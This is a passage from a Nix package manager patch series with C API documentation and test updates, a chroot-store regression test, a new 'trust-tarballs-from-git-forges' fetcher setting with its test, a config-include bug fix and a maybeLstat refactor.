@param[in] callback Called with the error name. * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. - * @see nix_observe_string + * @see nix_get_string_callback * @return NIX_OK if there were no errors, an error code otherwise. */ nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data); diff --git a/src/libutil-c/nix_api_util_internal.h b/src/libutil-c/nix_api_util_internal.h index f91d8c118..6e8eac020 100644 --- a/src/libutil-c/nix_api_util_internal.h +++ b/src/libutil-c/nix_api_util_internal.h @@ -20,16 +20,16 @@ nix_err nix_context_error(nix_c_context * context); /** * Internal use only. * - * Helper to invoke nix_observe_string + * Helper to invoke nix_get_string_callback * @param context optional, the context to store errors in if this function * fails * @param str The string to observe * @param callback Called with the observed string. * @param user_data optional, arbitrary data, passed to the callback when it's called. * @return NIX_OK if there were no errors. - * @see nix_observe_string + * @see nix_get_string_callback */ -nix_err call_nix_observe_string(const std::string str, void * callback, void * user_data); +nix_err call_nix_get_string_callback(const std::string str, void * callback, void * user_data); #define NIXC_CATCH_ERRS \ catch (...) \ From 2d84433a3b573c846103eb85ece9fdb77ed5fa4c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Fri, 29 Mar 2024 10:05:21 +0100 Subject: [PATCH 0374/1251] C API: update documentation --- doc/external-api/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 1d7344ddd..8a6f1c085 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -41,6 +41,8 @@ Nix expression `builtins.nixVersion`. #include #include +// NOTE: This example lacks all error handling. Production code must check for +// errors, as some return values will be undefined. int main() { nix_libexpr_init(NULL); From dffc22f30fd5f25861809bc5d9ae8405390035df Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 29 Mar 2024 12:51:14 +0100 Subject: [PATCH 0375/1251] Rename local-store.sh -> chroot-store.sh --- tests/functional/{local-store.sh => chroot-store.sh} | 0 tests/functional/local.mk | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename tests/functional/{local-store.sh => chroot-store.sh} (100%) diff --git a/tests/functional/local-store.sh b/tests/functional/chroot-store.sh similarity index 100% rename from tests/functional/local-store.sh rename to tests/functional/chroot-store.sh diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 8bb8e3600..ca9837d32 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -83,7 +83,7 @@ nix_tests = \ export.sh \ config.sh \ add.sh \ - local-store.sh \ + chroot-store.sh \ filter-source.sh \ misc.sh \ dump-db.sh \ From 89307728649cd96cb82fba739c014c1e78a6fc31 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 29 Mar 2024 13:19:36 +0100 Subject: [PATCH 0376/1251] Add regression test for #10331, #10267 --- tests/functional/chroot-store.sh | 41 +++++++++++++++++++++++++------- 1 file changed, 32 insertions(+), 9 deletions(-) diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh index f7c8eb3f1..9e589d04b 100644 --- a/tests/functional/chroot-store.sh +++ b/tests/functional/chroot-store.sh @@ -1,22 +1,45 @@ source common.sh -cd $TEST_ROOT +echo example > $TEST_ROOT/example.txt +mkdir -p $TEST_ROOT/x -echo example > example.txt -mkdir -p ./x +export NIX_STORE_DIR=/nix2/store -NIX_STORE_DIR=$TEST_ROOT/x +CORRECT_PATH=$(cd $TEST_ROOT && nix-store --store ./x --add example.txt) -CORRECT_PATH=$(nix-store --store ./x --add example.txt) +[[ $CORRECT_PATH =~ ^/nix2/store/.*-example.txt$ ]] -PATH1=$(nix path-info --store ./x $CORRECT_PATH) +PATH1=$(cd $TEST_ROOT && nix path-info --store ./x $CORRECT_PATH) [ $CORRECT_PATH == $PATH1 ] -PATH2=$(nix path-info --store "$PWD/x" $CORRECT_PATH) +PATH2=$(nix path-info --store "$TEST_ROOT/x" $CORRECT_PATH) [ $CORRECT_PATH == $PATH2 ] -PATH3=$(nix path-info --store "local?root=$PWD/x" $CORRECT_PATH) +PATH3=$(nix path-info --store "local?root=$TEST_ROOT/x" $CORRECT_PATH) [ $CORRECT_PATH == $PATH3 ] # Ensure store info trusted works with local store -nix --store ./x store info --json | jq -e '.trusted' +nix --store $TEST_ROOT/x store info --json | jq -e '.trusted' + +# Test building in a chroot store. +if canUseSandbox; then + + flakeDir=$TEST_ROOT/flake + mkdir -p $flakeDir + + cat > $flakeDir/flake.nix < Date: Wed, 27 Mar 2024 14:49:45 +0100 Subject: [PATCH 0377/1251] Add trust-tarballs-from-git-forges setting If enabled, GitHub flakerefs don't require a content hash, a Git revision is enough. Fixes #10297. --- src/libfetchers/fetch-settings.hh | 17 ++++++++++++++++- src/libfetchers/github.cc | 4 +++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh index f095963a8..d085f0d82 100644 --- a/src/libfetchers/fetch-settings.hh +++ b/src/libfetchers/fetch-settings.hh @@ -78,7 +78,6 @@ struct FetchSettings : public Config )", {}, true, Xp::Flakes}; - Setting useRegistries{this, true, "use-registries", "Whether to use flake registries to resolve flake references.", {}, true, Xp::Flakes}; @@ -94,6 +93,22 @@ struct FetchSettings : public Config empty, the summary is generated based on the action performed. )", {}, true, Xp::Flakes}; + + Setting trustTarballsFromGitForges{ + this, true, "trust-tarballs-from-git-forges", + R"( + If enabled (the default), Nix will consider tarballs from + GitHub and similar Git forges to be locked if a Git revision + is specified, + e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f`. + This requires Nix to trust that the provider will return the + correct contents for the specified Git revision. + + If disabled, such tarballs are only considered locked if a + `narHash` attribute is specified, + e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`. + )"}; + }; // FIXME: don't use a global variable. diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 8100afe4d..60e323464 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -294,7 +294,9 @@ struct GitArchiveInputScheme : InputScheme Git revision alone, we also require a NAR hash for locking. FIXME: in the future, we may want to require a Git tree hash instead of a NAR hash. */ - return input.getRev().has_value() && input.getNarHash().has_value(); + return input.getRev().has_value() + && (fetchSettings.trustTarballsFromGitForges || + input.getNarHash().has_value()); } std::optional experimentalFeature() const override From 00ce36fafe175ba607522a9c9d549a604ed00522 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 27 Mar 2024 15:53:11 +0100 Subject: [PATCH 0378/1251] Add test --- tests/nixos/github-flakes.nix | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/tests/nixos/github-flakes.nix b/tests/nixos/github-flakes.nix index 6f8a5b9d8..221045009 100644 --- a/tests/nixos/github-flakes.nix +++ b/tests/nixos/github-flakes.nix @@ -187,9 +187,14 @@ in client.succeed("nix flake metadata nixpkgs --tarball-ttl 0 >&2") # Test fetchTree on a github URL. - hash = client.succeed(f"nix eval --raw --expr '(fetchTree {info['url']}).narHash'") + hash = client.succeed(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr '(fetchTree {info['url']}).narHash'") assert hash == info['locked']['narHash'] + # Fetching without a narHash should succeed if trust-github is set and fail otherwise. + client.succeed(f"nix eval --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}'") + out = client.fail(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}' 2>&1") + assert "will not fetch unlocked input" in out, "--no-trust-tarballs-from-git-forges did not fail with the expected error" + # Shut down the web server. The flake should be cached on the client. github.succeed("systemctl stop httpd.service") From a09d0e19c11a9b92cfca3898ccf8c32a04a7973c Mon Sep 17 00:00:00 2001 From: Jonathan De Troye Date: Fri, 29 Mar 2024 08:57:41 -0400 Subject: [PATCH 0379/1251] flakes: Reword doc/manual/rl-next/remove-repl-flake.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- doc/manual/rl-next/remove-repl-flake.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/doc/manual/rl-next/remove-repl-flake.md b/doc/manual/rl-next/remove-repl-flake.md index a4ddeaf59..23298e2ed 100644 --- a/doc/manual/rl-next/remove-repl-flake.md +++ b/doc/manual/rl-next/remove-repl-flake.md @@ -5,8 +5,4 @@ issues: 10103 prs: 10299 --- -This PR removes the repl-flake feature that was adopted to provide a migration path when changing the behavior of `nix repl`. Moving forward this command will behave more like the rest of the modern cli. - -- Removes any repl-flake references. -- Removes the parts of `applyDefaultInstallables` that are no longer needed in repl.cc. -- Fix/Add any tests. +The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).* From 926fbadcc30a4614b5f5a3d18a6f4096914f97da Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Fri, 29 Mar 2024 14:00:19 +0100 Subject: [PATCH 0380/1251] C API: add more tests --- src/libexpr-c/nix_api_value.cc | 2 +- src/libexpr-c/nix_api_value.h | 6 +- .../libexpr-support/tests/nix_api_expr.hh | 2 + tests/unit/libexpr/nix_api_external.cc | 2 +- tests/unit/libexpr/nix_api_value.cc | 172 +++++++++++------- 5 files changed, 112 insertions(+), 72 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 93e7db5c0..80e853b87 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -227,7 +227,7 @@ double nix_get_float(nix_c_context * context, const Value * value) assert(v.type() == nix::nFloat); return v.fpoint; } - NIXC_CATCH_ERRS_RES(NAN); + NIXC_CATCH_ERRS_RES(0.0); } int64_t nix_get_int(nix_c_context * context, const Value * value) diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index c42581278..42218188c 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -136,8 +136,8 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); * @return value, or null in case of errors * */ - Value * nix_alloc_value(nix_c_context * context, EvalState * state); + /** @addtogroup value_manip Manipulating values * @brief Functions to inspect and change Nix language values, represented by Value. * @{ @@ -150,15 +150,14 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state); * @param[in] value Nix value to inspect * @return type of nix value */ - ValueType nix_get_type(nix_c_context * context, const Value * value); + /** @brief Get type name of value as defined in the evaluator * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return type name, owned string * @todo way to free the result */ - const char * nix_get_typename(nix_c_context * context, const Value * value); /** @brief Get boolean value @@ -167,6 +166,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value); * @return true or false, error info via context */ bool nix_get_bool(nix_c_context * context, const Value * value); + /** @brief Get string * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh index f63c03319..d1840d034 100644 --- a/tests/unit/libexpr-support/tests/nix_api_expr.hh +++ b/tests/unit/libexpr-support/tests/nix_api_expr.hh @@ -7,6 +7,7 @@ #include namespace nixC { + class nix_api_expr_test : public nix_api_store_test { protected: @@ -26,4 +27,5 @@ protected: EvalState * state; Value * value; }; + } diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc index 68766fd47..7e2caed1b 100644 --- a/tests/unit/libexpr/nix_api_external.cc +++ b/tests/unit/libexpr/nix_api_external.cc @@ -44,7 +44,7 @@ TEST_F(nix_api_expr_test, nix_expr_eval_external) { MyExternalValueDesc * external = new MyExternalValueDesc(42); ExternalValue * val = nix_create_external_value(ctx, external, external); - nix_init_external(nullptr, value, val); + nix_init_external(ctx, value, val); EvalState * stateResult = nix_state_create(nullptr, nullptr, store); Value * valueResult = nix_alloc_value(nullptr, stateResult); diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 20c874f22..726960638 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -14,132 +14,170 @@ namespace nixC { TEST_F(nix_api_expr_test, nix_value_set_get_int) { - int myInt = 1; - nix_init_int(nullptr, value, myInt); + ASSERT_EQ(0, nix_get_int(ctx, nullptr)); + ASSERT_DEATH(nix_get_int(ctx, value), ""); - ASSERT_EQ(myInt, nix_get_int(nullptr, value)); - ASSERT_STREQ("an integer", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_INT, nix_get_type(nullptr, value)); + int myInt = 1; + nix_init_int(ctx, value, myInt); + + ASSERT_EQ(myInt, nix_get_int(ctx, value)); + ASSERT_STREQ("an integer", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_INT, nix_get_type(ctx, value)); } TEST_F(nix_api_expr_test, nix_value_set_get_float) { - float myDouble = 1.0; - nix_init_float(nullptr, value, myDouble); + ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, nullptr)); + ASSERT_DEATH(nix_get_float(ctx, value), ""); - ASSERT_EQ(myDouble, nix_get_float(nullptr, value)); - ASSERT_STREQ("a float", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(nullptr, value)); + float myDouble = 1.0; + nix_init_float(ctx, value, myDouble); + + ASSERT_FLOAT_EQ(myDouble, nix_get_float(ctx, value)); + ASSERT_STREQ("a float", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(ctx, value)); } TEST_F(nix_api_expr_test, nix_value_set_get_bool) { - bool myBool = true; - nix_init_bool(nullptr, value, myBool); + ASSERT_EQ(false, nix_get_bool(ctx, nullptr)); + ASSERT_DEATH(nix_get_bool(ctx, value), ""); - ASSERT_EQ(myBool, nix_get_bool(nullptr, value)); - ASSERT_STREQ("a Boolean", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_BOOL, nix_get_type(nullptr, value)); + bool myBool = true; + nix_init_bool(ctx, value, myBool); + + ASSERT_EQ(myBool, nix_get_bool(ctx, value)); + ASSERT_STREQ("a Boolean", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_BOOL, nix_get_type(ctx, value)); } TEST_F(nix_api_expr_test, nix_value_set_get_string) { - const char * myString = "some string"; - nix_init_string(nullptr, value, myString); + ASSERT_EQ(nullptr, nix_get_string(ctx, nullptr)); + ASSERT_DEATH(nix_get_string(ctx, value), ""); - ASSERT_STREQ(myString, nix_get_string(nullptr, value)); - ASSERT_STREQ("a string", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, value)); + const char * myString = "some string"; + nix_init_string(ctx, value, myString); + + ASSERT_STREQ(myString, nix_get_string(ctx, value)); + ASSERT_STREQ("a string", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(ctx, value)); } TEST_F(nix_api_expr_test, nix_value_set_get_null) { - nix_init_null(nullptr, value); + ASSERT_DEATH(nix_get_typename(ctx, value), ""); - ASSERT_STREQ("null", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_NULL, nix_get_type(nullptr, value)); + nix_init_null(ctx, value); + + ASSERT_STREQ("null", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_NULL, nix_get_type(ctx, value)); } TEST_F(nix_api_expr_test, nix_value_set_get_path) { - const char * p = "/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname"; - nix_init_path_string(nullptr, state, value, p); + ASSERT_EQ(nullptr, nix_get_path_string(ctx, nullptr)); + ASSERT_DEATH(nix_get_path_string(ctx, value), ""); - ASSERT_STREQ(p, nix_get_path_string(nullptr, value)); - ASSERT_STREQ("a path", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_PATH, nix_get_type(nullptr, value)); + const char * p = "/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname"; + nix_init_path_string(ctx, state, value, p); + + ASSERT_STREQ(p, nix_get_path_string(ctx, value)); + ASSERT_STREQ("a path", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_PATH, nix_get_type(ctx, value)); } TEST_F(nix_api_expr_test, nix_build_and_init_list) { - int size = 10; - ListBuilder * builder = nix_make_list_builder(nullptr, state, size); + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, nullptr, state, 0)); + ASSERT_EQ(0, nix_get_list_size(ctx, nullptr)); - Value * intValue = nix_alloc_value(nullptr, state); - nix_init_int(nullptr, intValue, 42); - nix_list_builder_insert(nullptr, builder, 0, intValue); - nix_make_list(nullptr, builder, value); + ASSERT_DEATH(nix_get_list_byidx(ctx, value, state, 0), ""); + ASSERT_DEATH(nix_get_list_size(ctx, value), ""); + + int size = 10; + ListBuilder * builder = nix_make_list_builder(ctx, state, size); + + Value * intValue = nix_alloc_value(ctx, state); + nix_init_int(ctx, intValue, 42); + nix_list_builder_insert(ctx, builder, 0, intValue); + nix_make_list(ctx, builder, value); nix_list_builder_free(builder); - ASSERT_EQ(42, nix_get_int(nullptr, nix_get_list_byidx(nullptr, value, state, 0))); - ASSERT_EQ(nullptr, nix_get_list_byidx(nullptr, value, state, 1)); - ASSERT_EQ(10, nix_get_list_size(nullptr, value)); + ASSERT_EQ(42, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 0))); + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 1)); + ASSERT_EQ(10, nix_get_list_size(ctx, value)); - ASSERT_STREQ("a list", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_LIST, nix_get_type(nullptr, value)); + ASSERT_STREQ("a list", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_LIST, nix_get_type(ctx, value)); // Clean up - nix_gc_decref(nullptr, intValue); + nix_gc_decref(ctx, intValue); } TEST_F(nix_api_expr_test, nix_build_and_init_attr) { + ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, nullptr, state, 0)); + ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, nullptr, state, 0, nullptr)); + ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, nullptr, state, 0)); + ASSERT_EQ(0, nix_get_attrs_size(ctx, nullptr)); + ASSERT_EQ(false, nix_has_attr_byname(ctx, nullptr, state, "no-value")); + + ASSERT_DEATH(nix_get_attr_byname(ctx, value, state, 0), ""); + ASSERT_DEATH(nix_get_attr_byidx(ctx, value, state, 0, nullptr), ""); + ASSERT_DEATH(nix_get_attr_name_byidx(ctx, value, state, 0), ""); + ASSERT_DEATH(nix_get_attrs_size(ctx, value), ""); + ASSERT_DEATH(nix_has_attr_byname(ctx, value, state, "no-value"), ""); + int size = 10; const char ** out_name = (const char **) malloc(sizeof(char *)); - BindingsBuilder * builder = nix_make_bindings_builder(nullptr, state, size); + BindingsBuilder * builder = nix_make_bindings_builder(ctx, state, size); - Value * intValue = nix_alloc_value(nullptr, state); - nix_init_int(nullptr, intValue, 42); + Value * intValue = nix_alloc_value(ctx, state); + nix_init_int(ctx, intValue, 42); - Value * stringValue = nix_alloc_value(nullptr, state); - nix_init_string(nullptr, stringValue, "foo"); + Value * stringValue = nix_alloc_value(ctx, state); + nix_init_string(ctx, stringValue, "foo"); - nix_bindings_builder_insert(nullptr, builder, "a", intValue); - nix_bindings_builder_insert(nullptr, builder, "b", stringValue); - nix_make_attrs(nullptr, value, builder); + nix_bindings_builder_insert(ctx, builder, "a", intValue); + nix_bindings_builder_insert(ctx, builder, "b", stringValue); + nix_make_attrs(ctx, value, builder); nix_bindings_builder_free(builder); - ASSERT_EQ(2, nix_get_attrs_size(nullptr, value)); + ASSERT_EQ(2, nix_get_attrs_size(ctx, value)); - Value * out_value = nix_get_attr_byname(nullptr, value, state, "a"); - ASSERT_EQ(42, nix_get_int(nullptr, out_value)); - nix_gc_decref(nullptr, out_value); + Value * out_value = nix_get_attr_byname(ctx, value, state, "a"); + ASSERT_EQ(42, nix_get_int(ctx, out_value)); + nix_gc_decref(ctx, out_value); - out_value = nix_get_attr_byidx(nullptr, value, state, 0, out_name); - ASSERT_EQ(42, nix_get_int(nullptr, out_value)); + out_value = nix_get_attr_byidx(ctx, value, state, 0, out_name); + ASSERT_EQ(42, nix_get_int(ctx, out_value)); ASSERT_STREQ("a", *out_name); + nix_gc_decref(ctx, out_value); + + ASSERT_STREQ("a", nix_get_attr_name_byidx(ctx, value, state, 0)); + + ASSERT_EQ(true, nix_has_attr_byname(ctx, value, state, "b")); + ASSERT_EQ(false, nix_has_attr_byname(ctx, value, state, "no-value")); + + out_value = nix_get_attr_byname(ctx, value, state, "b"); + ASSERT_STREQ("foo", nix_get_string(ctx, out_value)); nix_gc_decref(nullptr, out_value); - ASSERT_STREQ("a", nix_get_attr_name_byidx(nullptr, value, state, 0)); - - out_value = nix_get_attr_byname(nullptr, value, state, "b"); - ASSERT_STREQ("foo", nix_get_string(nullptr, out_value)); - nix_gc_decref(nullptr, out_value); - - out_value = nix_get_attr_byidx(nullptr, value, state, 1, out_name); - ASSERT_STREQ("foo", nix_get_string(nullptr, out_value)); + out_value = nix_get_attr_byidx(ctx, value, state, 1, out_name); + ASSERT_STREQ("foo", nix_get_string(ctx, out_value)); ASSERT_STREQ("b", *out_name); nix_gc_decref(nullptr, out_value); - ASSERT_STREQ("b", nix_get_attr_name_byidx(nullptr, value, state, 1)); + ASSERT_STREQ("b", nix_get_attr_name_byidx(ctx, value, state, 1)); - ASSERT_STREQ("a set", nix_get_typename(nullptr, value)); - ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(nullptr, value)); + ASSERT_STREQ("a set", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(ctx, value)); // Clean up - nix_gc_decref(nullptr, intValue); - nix_gc_decref(nullptr, stringValue); + nix_gc_decref(ctx, intValue); + nix_gc_decref(ctx, stringValue); free(out_name); } From 0be87c023f9758889dd2dbb045f6c64f24a92883 Mon Sep 17 00:00:00 2001 From: Yuxuan Shui Date: Fri, 29 Mar 2024 16:31:48 +0000 Subject: [PATCH 0381/1251] Fix "include" directive in config files --- src/libutil/config.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 617c2ec89..efde8591b 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -124,7 +124,7 @@ static void applyConfigInner(const std::string & contents, const std::string & p auto p = absPath(tokens[1], dirOf(path)); if (pathExists(p)) { try { - std::string includedContents = readFile(path); + std::string includedContents = readFile(p); applyConfigInner(includedContents, p, parsedContents); } catch (SystemError &) { // TODO: Do we actually want to ignore this? Or is it better to fail? From 555181c3fd6c6ee4417e093abf556a319e720d3c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 29 Mar 2024 15:30:43 -0400 Subject: [PATCH 0382/1251] `throwExceptionSelfCheck` throw `Error` `SysError` is not appropriate because there is no (Unix) syscall involved. The catch block in `initLibUtil` is already for `Error` and still works. --- src/libutil/error.cc | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/libutil/error.cc b/src/libutil/error.cc index 036e19e26..fd4f4efd1 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -16,9 +16,10 @@ void BaseError::addTrace(std::shared_ptr && e, HintFmt hint, TracePrint pri err.traces.push_front(Trace { .pos = std::move(e), .hint = hint, .print = print }); } -void throwExceptionSelfCheck(){ +void throwExceptionSelfCheck() +{ // This is meant to be caught in initLibUtil() - throw SysError("C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded."); + throw Error("C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded."); } // c++ std::exception descendants must have a 'const char* what()' function. From 8be347afcac8006967921e4738215d98405f6d75 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 29 Mar 2024 15:21:10 -0400 Subject: [PATCH 0383/1251] Factor out `nix::maybeLstat` This function is nice for more than `PosixSourceAccessor`. We can make a few things simpler with it. Note that the error logic slightly changes in some of the call sites, in that we also count `ENOTDIR` and not just `ENOENT` as not having the file, but that should be fine. --- src/libstore/build/local-derivation-goal.cc | 24 ++++++++++----------- src/libstore/builtins/buildenv.cc | 18 +++++++--------- src/libutil/file-system.cc | 22 +++++++++++++------ src/libutil/file-system.hh | 1 + src/libutil/posix-source-accessor.cc | 8 +------ 5 files changed, 36 insertions(+), 37 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index d52ebf064..914fffd16 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2053,13 +2053,13 @@ void LocalDerivationGoal::runChild() i.first, i.second.source); std::string path = i.first; - struct stat st; - if (lstat(path.c_str(), &st)) { - if (i.second.optional && errno == ENOENT) + auto optSt = maybeLstat(path.c_str()); + if (!optSt) { + if (i.second.optional) continue; - throw SysError("getting attributes of path '%s", path); + throw SysError("getting attributes of required path '%s", path); } - if (S_ISDIR(st.st_mode)) + if (S_ISDIR(optSt->st_mode)) sandboxProfile += fmt("\t(subpath \"%s\")\n", path); else sandboxProfile += fmt("\t(literal \"%s\")\n", path); @@ -2271,14 +2271,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() continue; } - struct stat st; - if (lstat(actualPath.c_str(), &st) == -1) { - if (errno == ENOENT) - throw BuildError( - "builder for '%s' failed to produce output path for output '%s' at '%s'", - worker.store.printStorePath(drvPath), outputName, actualPath); - throw SysError("getting attributes of path '%s'", actualPath); - } + auto optSt = maybeLstat(actualPath.c_str()); + if (!optSt) + throw BuildError( + "builder for '%s' failed to produce output path for output '%s' at '%s'", + worker.store.printStorePath(drvPath), outputName, actualPath); + struct stat & st = *optSt; #ifndef __CYGWIN__ /* Check that the output is not group or world writable, as diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index 1ed7b39cc..31a6b32f1 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -64,9 +64,9 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, continue; else if (S_ISDIR(srcSt.st_mode)) { - struct stat dstSt; - auto res = lstat(dstFile.c_str(), &dstSt); - if (res == 0) { + auto dstStOpt = maybeLstat(dstFile.c_str()); + if (dstStOpt) { + auto & dstSt = *dstStOpt; if (S_ISDIR(dstSt.st_mode)) { createLinks(state, srcFile, dstFile, priority); continue; @@ -82,14 +82,13 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, createLinks(state, srcFile, dstFile, priority); continue; } - } else if (errno != ENOENT) - throw SysError("getting status of '%1%'", dstFile); + } } else { - struct stat dstSt; - auto res = lstat(dstFile.c_str(), &dstSt); - if (res == 0) { + auto dstStOpt = maybeLstat(dstFile.c_str()); + if (dstStOpt) { + auto & dstSt = *dstStOpt; if (S_ISLNK(dstSt.st_mode)) { auto prevPriority = state.priorities[dstFile]; if (prevPriority == priority) @@ -104,8 +103,7 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, throw SysError("unlinking '%1%'", dstFile); } else if (S_ISDIR(dstSt.st_mode)) throw Error("collision between non-directory '%1%' and directory '%2%'", srcFile, dstFile); - } else if (errno != ENOENT) - throw SysError("getting status of '%1%'", dstFile); + } } createSymlink(srcFile, dstFile); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index c0e268e9d..89d309731 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -174,15 +174,23 @@ struct stat lstat(const Path & path) } +std::optional maybeLstat(const Path & path) +{ + std::optional st{std::in_place}; + if (lstat(path.c_str(), &*st)) + { + if (errno == ENOENT || errno == ENOTDIR) + st.reset(); + else + throw SysError("getting status of '%s'", path); + } + return st; +} + + bool pathExists(const Path & path) { - int res; - struct stat st; - res = lstat(path.c_str(), &st); - if (!res) return true; - if (errno != ENOENT && errno != ENOTDIR) - throw SysError("getting status of %1%", path); - return false; + return maybeLstat(path).has_value(); } bool pathAccessible(const Path & path) diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 9d565c881..dd071e1af 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -84,6 +84,7 @@ bool isDirOrInDir(std::string_view path, std::string_view dir); */ struct stat stat(const Path & path); struct stat lstat(const Path & path); +std::optional maybeLstat(const Path & path); /** * @return true iff the given path exists. diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index 41c2db59a..8039d4b80 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -97,13 +97,7 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa if (i != cache->end()) return i->second; } - std::optional st{std::in_place}; - if (::lstat(absPath.c_str(), &*st)) { - if (errno == ENOENT || errno == ENOTDIR) - st.reset(); - else - throw SysError("getting status of '%s'", showPath(path)); - } + auto st = nix::maybeLstat(absPath.c_str()); auto cache(_cache.lock()); if (cache->size() >= 16384) cache->clear(); From e4d9b207c20f2051be060a8fd32efe69dae78a80 Mon Sep 17 00:00:00 2001 From: John Ericson Date: 